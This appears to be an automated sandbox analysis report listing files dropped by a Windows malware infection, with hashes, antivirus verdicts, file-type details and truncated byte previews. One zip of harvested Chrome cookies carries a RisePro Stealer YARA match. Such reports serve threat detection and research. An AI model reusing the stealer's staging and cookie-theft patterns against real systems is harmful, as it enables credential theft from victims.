Size (bytes):	1937408
Entropy (8bit):	7.951512343717333
Encrypted:	false
SSDEEP:	49152:dmhaJQo1P2Wr2EuLInK7rKm0wHx50Fsmj/+j9ApNLuO7Mhf:d+LuJfRnAnUsmzEy
MD5:	1ED78F44A2CAD6E08DA27EDBC701B4BC
SHA1:	E7A8BC103762DB81429B13497C065AC16CAC4B85
SHA-256:	20BD5A075CFEE256A6CC19803FB9964834590840ADA1212F7ECA0A9D990E8359
SHA-512:	3882675EADBC45A7B534C0EFC671551926BBC333275E03E8A4B23FDFC958AF231094B65855FCECCF6EC7C63EAD1AD1A21BF3853E95EB05ADCA093A7820C22244
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*R..n3.@n3.@n3.@5[.A`3.@5[.A.3.@.^.A\|3.@.^.Az3.@.^.A.3.@5[.Az3.@5[.A}3.@n3.@.3.@.].Ao3.@.]u@o3.@.].Ao3.@Richn3.@........................PE..L......e..............................L...........@...........................L...........@.................................Vp..j....`........................L...............................L..................................................... . .P..........................@....rsrc........`......................@....idata .....p......................@... ..+.........................@...mxcnarui..... 2..~..................@...nxgghrcb......L......j..............@....taggant.0....L.."...n..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1166336
Entropy (8bit):	7.03558032317191
Encrypted:	false
SSDEEP:	24576:zqDEvCTbMWu7rQYlBQcBiT6rprG8auP2+b+HdiJUX:zTvC/MTQYxsWR7auP2+b+HoJU
MD5:	76C779D2A6E42C6DBCFF43E67BB38CA3
SHA1:	558F8E6B714EFAEABA794E7D2B7821936A4DA077
SHA-256:	E820BE731929C621A94DE7BD83E0DA4796C103632961BDA20FFBD568279E6F43
SHA-512:	516D91D0E635F3468D135BF51F507FE3D81C1FB72C8BACCC08A0E7C05C6DCAEFD2816CA937CB2F8CA0AB8F4C8E78A2917B22DC10C289221E8450CFBA34BEBF3E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....!f..........".................w.............@..........................0.......!....@...@.......@.....................d...\|....@..\|a.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...\|a...@...b..................@..@.reloc...u.......v...V..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2327552
Entropy (8bit):	7.951651680625518
Encrypted:	false
SSDEEP:	49152:8eF1xn14/IbRdcpHdN1jmFdsNaWJXmAUvz3i+Cpcn7hhnLRU:l1xn1Fdc1nF0GNaWZmAmz3ihWdhnVU
MD5:	3709AD0A7007BCAE942B905A07BD6BBA
SHA1:	9D25192C841F3B2FB1B9BBB0DFDCEC6CDAACA3A7
SHA-256:	2248CAA741EC4D757C597091F2BAB56F694181EF5A677BDAB47D990E4C7F695A
SHA-512:	D41CBC49DED02909E0EAE68DA22988C36993BDE9DB4025F64D45007D2C47ED07A7CDC1A2B28AE1CB7ECB8D4C5169CB4084650ADADDB656CAF33B4E0AD85239FC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.....t...t...t._.w...t._.q...t._.s...t.......t...p...t...w...t...q.O.t._.p...t._.r...t._.u...t...u.4.t..\|}...t..\|t...t..\|....t......t..\|v...t.Rich..t.........PE..L......f...............'.4...2........Y......P....@.......................... Y.....M.#...@..........................ZX.L...m........P......................ZX.............................@ZX.............................t...@................... . .@.......>..................@....rsrc.......P.......N..............@....idata ............................@... .@*.. ......................@...kiragzej.....`?.....................@...cquspnza......Y.......#.............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6145
Entropy (8bit):	7.793921025132747
Encrypted:	false
SSDEEP:	96:HqgbzTvWhgbzTvWdrT4ao7lJqFBUFzoOtADofAcNMXxROpC/ZtDEpC/ZtDt7ks:HqgDvWhgDvWdrTJHqFmDiNMBU040J7ks
MD5:	83D547914EFC4C5F2710C666CFD43A73
SHA1:	7FF30CFADD3154FCEC2A9FFA2335298F8A27C612
SHA-256:	C6EF1629C65ADC407CC1A0DCEF9D80FBC1F629A9D7A2E48045F69F79C5D20B68
SHA-512:	E4B171E510EFF1C9D93BF090B67DEC3C59AA56C9670C81F92B866D6C2AF5DDAEF23724A85422365A5301107F8F5CDE2EF9580972680209DA62C894FFF1C061C9
Malicious:	true
Preview:	PK........OpDWS.............._Files_\AIXACVYBSB.docx..Gn@1.D..r(.......$?.K..oF..~zj#6Ua....OSu..I.b.i.j...._".....5z]E...n..K...v...D8..<QHcl.r1...jJ..,2~xG..F.J..z..l...:..N8..b..66D... ....Wd.Z...x.eW.{.-...e....\&.\|.$l$...}q.<.N..!=.s:W......J.......p.G..]......;$...NPN....\"..2....@.VJ........0.T....B..)8.....>.z.2c...T..JV4...1....u)<g...j....E...{7lk.}.Q.^.5].......D.z.z..>..}U..F.Ro...2.;.K".;j...Jf5F2.+....T<Ck.\|b.......%~..3.;..~.j...B...T.Qco5h;.9...O.(...s....&..5s..U..-.....c..[6.:..Yv.N.>#....N9._.............Qk.m...0/S=.g.kOI..R....c.1.L..k.x.6..e..k"..D...y...~..t....z.9m..Ny..%-..g........u. \|\|..!..e.....r+.k.[.....s..~...PK........OpDWS.............._Files_\AIXACVYBSB.xlsx..Gn@1.D..r(.......$?.K..oF..~zj#6Ua....OSu..I.b.i.j...._".....5z]E...n..K...v...D8..<QHcl.r1...jJ..,2~xG..F.J..z..l...:..N8..b..66D... ....Wd.Z...x.eW.{.-...e....\&.\|.$l$...}q.<.N..!=.s:W......J.......p.G..]......;$...NPN....\"..2....@.

C:\Users\user\AppData\Local\Temp\4JKZLoG_AJreMfNRzAg0gnZ.zip

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5611
Entropy (8bit):	7.900272718466549
Encrypted:	false
SSDEEP:	96:5WGzqeAoMq+YK0KF8cAJiI2i+u1oO0oybJyXjpkW7d3gt3KJ/:NqASpF8wFgbydQkUFA6J/
MD5:	D362F6B22469DE4ADD15FCE4C7125C64
SHA1:	27F8670C533809CC03AF20620020E4DF0F85E717
SHA-256:	44DB2E199BE9CB1B8AE33E7B2E378D4555788BA4E87A0D73C4EA1E4F7A753595
SHA-512:	0A13217A03038214EE73881171CEBFD89E64D51967FB07B7E14446530BCFAF85E272FF43579A1F0C77AD858374D916715435EC406BC05C3FACD93671D1498170
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\4JKZLoG_AJreMfNRzAg0gnZ.zip, Author: Joe Security
Preview:	PK...........X................Cookies\..PK...........XQn.+............Cookies\Chrome_Default.txt.G..r...U.#.5C.....s$..-.D...7.\..$.G.)o....:....Z.C.f_..pm............"..t..t....}.k.@...a.2+P`.0.x.>....s..k%.._..b..P..((......B.....`.7..-m..JY..F....E..l.....I..&.....<J..M.......,V...)b.....Q..k......M?.5L....h}......X..'.0..tB.G...\;.a....4.......B4.......J.4.6.y:....4.-.UfE...3Ap.U5UX....Z.g:e.j.C..Bw..........e..a^.vU:....$..U......B..`._.e.....+...9.{u...7.e...H.]02...%yR".0...x...P<..N....R.}....{.G...;..c..x...kw.'S>.d\|.....B..k.9.t.!>.rh...~n.[....s#/....`.!..Kb8%&.vZB`....O\|.....>K......L...d0..03..t...T&.......`N.xp.."..J.......Q.....c..5...).Z.91.6.j..G.....Wr...a.52!..(^.U.....6....dB.D.^...7..0H.\J9.H.$^`e"..d...\....B.8Z=.qeP.3Y.>..'W.X..T..>z...,..K......g....%B.w4#...;.[]u\|....v...3.;L..U?..b.....u....... .......F...P.a...\|R3.=......r.:.64...#D..^..>.A..ZT.]E........t...f...1..3.....`...X.....C.]%...p.p.ym

C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000054001\amert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1937408
Entropy (8bit):	7.951512343717333
Encrypted:	false
SSDEEP:	49152:dmhaJQo1P2Wr2EuLInK7rKm0wHx50Fsmj/+j9ApNLuO7Mhf:d+LuJfRnAnUsmzEy
MD5:	1ED78F44A2CAD6E08DA27EDBC701B4BC
SHA1:	E7A8BC103762DB81429B13497C065AC16CAC4B85
SHA-256:	20BD5A075CFEE256A6CC19803FB9964834590840ADA1212F7ECA0A9D990E8359
SHA-512:	3882675EADBC45A7B534C0EFC671551926BBC333275E03E8A4B23FDFC958AF231094B65855FCECCF6EC7C63EAD1AD1A21BF3853E95EB05ADCA093A7820C22244
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*R..n3.@n3.@n3.@5[.A`3.@5[.A.3.@.^.A\|3.@.^.Az3.@.^.A.3.@5[.Az3.@5[.A}3.@n3.@.3.@.].Ao3.@.]u@o3.@.].Ao3.@Richn3.@........................PE..L......e..............................L...........@...........................L...........@.................................Vp..j....`........................L...............................L..................................................... . .P..........................@....rsrc........`......................@....idata .....p......................@... ..+.........................@...mxcnarui..... 2..~..................@...nxgghrcb......L......j..............@....taggant.0....L.."...n..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_Files_\AIXACVYBSB.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690067217069288
Encrypted:	false
SSDEEP:	12:wSQanHEC73FqjThUbJwuUn5qPyd2whRZfZOaH5KrqXzJI/y5bjbVMmRYAPL8fx7T:wHu73FWhUNwzqq2OfX82JdHRNPLcxdl
MD5:	4E32787C3D6F915D3CB360878174E142
SHA1:	57FF84FAEDF66015F2D79E1BE72A29D7B5643F47
SHA-256:	2BCD2A46D2DCED38DE96701E6D3477D8C9F4456FFAE5135C0605C8434BA60269
SHA-512:	CEC75D7CCFA70705732826C202D144A8AC913E7FCFE0D9B54F6A0D1EEC3253B6DEFFB91E551586DA15F56BA4DE8030AC23EE28B16BB80D1C5F1CB6BECF9C21BE
Malicious:	false
Preview:	AIXACVYBSBCZDJMZUDVNECMFSGJSAOAIXCJFDPHQJVUANUFFPQXVYJRUGYPJGKEJNXCBTXARAETAKFTJKVLIZEXLMOAPVEZRZZUIRDUKSPZRBPINNEKLCLXBHFZMBRJTUJZTRCGQGFRQCEVPUBAAPBHBTYYHDJZHHPMFAKXVJPQRQCRUFYPMNUCRRQOYXYEHXQEHWHFLZSBMLRRZFLLYUQLADTKEDXVDLKLPZTTCNAXMXPSTCHQKWMSRPNRZGULFHOTUOYUSIVJEHUYPRYGESSFFMBWDPFRMTVBZEHTJSPRMDJISAZPMEWNGPGIXXTDNHCOBSXAWEFWRZNECKZGORELWMEPSAPLSTZZPUKXURSKTFSUSFEZMXMAIMRJZNGCVKLOHPVMZEIXIISXVMQHQTSADYWZQSWYVJHHONOOSZPQVWIUFMVXBXYCJOMERCQSVXERFAOOENLKARQGTECAIXOXEZPFDFJHYFCKLADMCWYOMCITRHMECVVVNPNTSRXYGYRKZUTOFNBMHDZWYHPYLTWEIGWOIGBTHWYGIXBCUDYMZMTZNYQMZLMXKPNFZDUEXXQLFJZZZVOPBEZKTKTJCTNUPRCNNGCPTIHKPTGBJLGUENNUGTZVMZJGQGUVBRLOJZECBLINEKGSIRFWZPWMVYJNEPWGYIAHKMJRBZMRVIBPONMHBDQZYFBHDDMYBZZAFEPAQFFUPIGGYNSPVXUWNNCWAUZXAGCATPNHNNYICDCRMTKRODUCDDFZKHLISLVOIFZPDTOSIEREFHYEWUBJKJRWXMZUGCPUXCPEXUQPWTSKEYSDPEICDQMMKUKJLDNQEHQQCYKRMWOUSJVTVSZJTFZCDVNUMEIZFWDNWCNCSCHBYNKRUSXPVMRIHGXDUPKXMZUIELSRXMZAEUNCCYZTEYLUYYRNSFUTHFESJOLGKJVGGNVJKSFSETAIHYOMLBOPRYAHSCATJUXNTWVZPEMECBVVHKHDELQRTQBEBXPJJ

C:\Users\user\AppData\Local\Temp\_Files_\AIXACVYBSB.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690067217069288
Encrypted:	false
SSDEEP:	12:wSQanHEC73FqjThUbJwuUn5qPyd2whRZfZOaH5KrqXzJI/y5bjbVMmRYAPL8fx7T:wHu73FWhUNwzqq2OfX82JdHRNPLcxdl
MD5:	4E32787C3D6F915D3CB360878174E142
SHA1:	57FF84FAEDF66015F2D79E1BE72A29D7B5643F47
SHA-256:	2BCD2A46D2DCED38DE96701E6D3477D8C9F4456FFAE5135C0605C8434BA60269
SHA-512:	CEC75D7CCFA70705732826C202D144A8AC913E7FCFE0D9B54F6A0D1EEC3253B6DEFFB91E551586DA15F56BA4DE8030AC23EE28B16BB80D1C5F1CB6BECF9C21BE
Malicious:	false
Preview:	AIXACVYBSBCZDJMZUDVNECMFSGJSAOAIXCJFDPHQJVUANUFFPQXVYJRUGYPJGKEJNXCBTXARAETAKFTJKVLIZEXLMOAPVEZRZZUIRDUKSPZRBPINNEKLCLXBHFZMBRJTUJZTRCGQGFRQCEVPUBAAPBHBTYYHDJZHHPMFAKXVJPQRQCRUFYPMNUCRRQOYXYEHXQEHWHFLZSBMLRRZFLLYUQLADTKEDXVDLKLPZTTCNAXMXPSTCHQKWMSRPNRZGULFHOTUOYUSIVJEHUYPRYGESSFFMBWDPFRMTVBZEHTJSPRMDJISAZPMEWNGPGIXXTDNHCOBSXAWEFWRZNECKZGORELWMEPSAPLSTZZPUKXURSKTFSUSFEZMXMAIMRJZNGCVKLOHPVMZEIXIISXVMQHQTSADYWZQSWYVJHHONOOSZPQVWIUFMVXBXYCJOMERCQSVXERFAOOENLKARQGTECAIXOXEZPFDFJHYFCKLADMCWYOMCITRHMECVVVNPNTSRXYGYRKZUTOFNBMHDZWYHPYLTWEIGWOIGBTHWYGIXBCUDYMZMTZNYQMZLMXKPNFZDUEXXQLFJZZZVOPBEZKTKTJCTNUPRCNNGCPTIHKPTGBJLGUENNUGTZVMZJGQGUVBRLOJZECBLINEKGSIRFWZPWMVYJNEPWGYIAHKMJRBZMRVIBPONMHBDQZYFBHDDMYBZZAFEPAQFFUPIGGYNSPVXUWNNCWAUZXAGCATPNHNNYICDCRMTKRODUCDDFZKHLISLVOIFZPDTOSIEREFHYEWUBJKJRWXMZUGCPUXCPEXUQPWTSKEYSDPEICDQMMKUKJLDNQEHQQCYKRMWOUSJVTVSZJTFZCDVNUMEIZFWDNWCNCSCHBYNKRUSXPVMRIHGXDUPKXMZUIELSRXMZAEUNCCYZTEYLUYYRNSFUTHFESJOLGKJVGGNVJKSFSETAIHYOMLBOPRYAHSCATJUXNTWVZPEMECBVVHKHDELQRTQBEBXPJJ

C:\Users\user\AppData\Local\Temp\_Files_\DTBZGIOOSO.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\_Files_\KATAXZVCPS.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\_Files_\NHPKIZUUSG.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.70435191336402
Encrypted:	false
SSDEEP:	24:q83Oua2II99Dm5Xcf7kmp5fFjUTZF/+akoYY9fBpCtJ6Wi5v:7OD2ISi5Xcz9l8RkcFCJ6Wix
MD5:	8C1F71001ABC7FCE68B3F15299553CE7
SHA1:	382285FB69081EB79C936BC4E1BFFC9D4697D881
SHA-256:	DCC1D5A624022EFCE4D4A919041C499622A1213FD62B848C36E6252EE29B5CAE
SHA-512:	8F2124445F7856BFFBB3E7067135CFA70BFB657F8CEAEE89312CF15CFA127CACF28C2F1F9CD1CC64E56A8D8C248E237F2E97F968D244C457AD95D0AD5144E2A7
Malicious:	false
Preview:	NHPKIZUUSGERQSLBGSEAVXGNDWXNHRIMGKQZIYGMNAKLDSDLMZTSHWNQSMRLTOXKIQVZWPTPMYGCCCTOQMOFGPYVVCCUDORIXMMXDHKCETULBHLJENABEIJPTFOHFPIUUSFPUHSBHENDANFMOYZRZAXYVFEZIKDKUEVZAWEFKRTUJZPFUDMEZZQVBGYMMIHKEBYJMJMTTXSDTDQAUATXLABLBEJUBBPSXZPXMHVNHOHYPKCYLDVGJSBPEXWGYVPHWPWLYJIOFFNQHAOBSRORLXUKIHEETKPFDPHQAGTKOMEWPBYGMTXHOQFINPIQARIVGCFUFIETTFUMCUDHRHCSTIZWRDJEHWOLAFOSWAVIGSWONBSKFWHCQAGHLWBKAFUQUULJRVZNUGGVOCCVTTWZEZFPJKZDJMHDYXQKDPLRECPAAEZVBXFDGZJIUGNMOEAISGBSPVTDRADHODLAXUFWZVTJPIGKERLENNAJHHHNNAPBWXCOGJSNVQJJEEPSMESQKGYOHXVMZQNSMSJHQHSGCJZCBZJXMLGNQQKZRIQSQCAWXZFCRMGMMLKHZDWNQTXPTYWGWNQQEQWEZJPQVPOASQIIJYWPUVLHFSLMGHWITYEKRNYGXYTAJZSRGYUWTMRNOICIEPMAYUOIDDOUSYSPAILYQQLYDTBOTEDGSCNXDRRQMOBWCQMDCQXTPEXDKPLVRMFZSKERSAULAYLSOJGDMFTZECKZYYLQVVDOMXISCOBUPPSAYUFOWOCBDJALHRAXDIKEMRYGQMEYTENAHXKWSVJEDEJTIUWZDHLIBKQRVMQLSAYIIOZDWWOLHCJUVJVRYJLTIENWCTYDOSJVSFUHOQPOXCMFGTAWFRCZJNYBCRPUFRUMZIBQDOVOBMFCHMMFHSSJZDCZNMWNCNSQMZWHCOEYNCAFONSABBQCKAPFWJIGKNUCUJZWUKRWIOFVWQWFSYAHDWXEMJKFZYMRVIRAMPVKBXONBJFTXIBDAYIE

C:\Users\user\AppData\Local\Temp\_Files_\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\_Files_\XZXHAVGRAG.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOV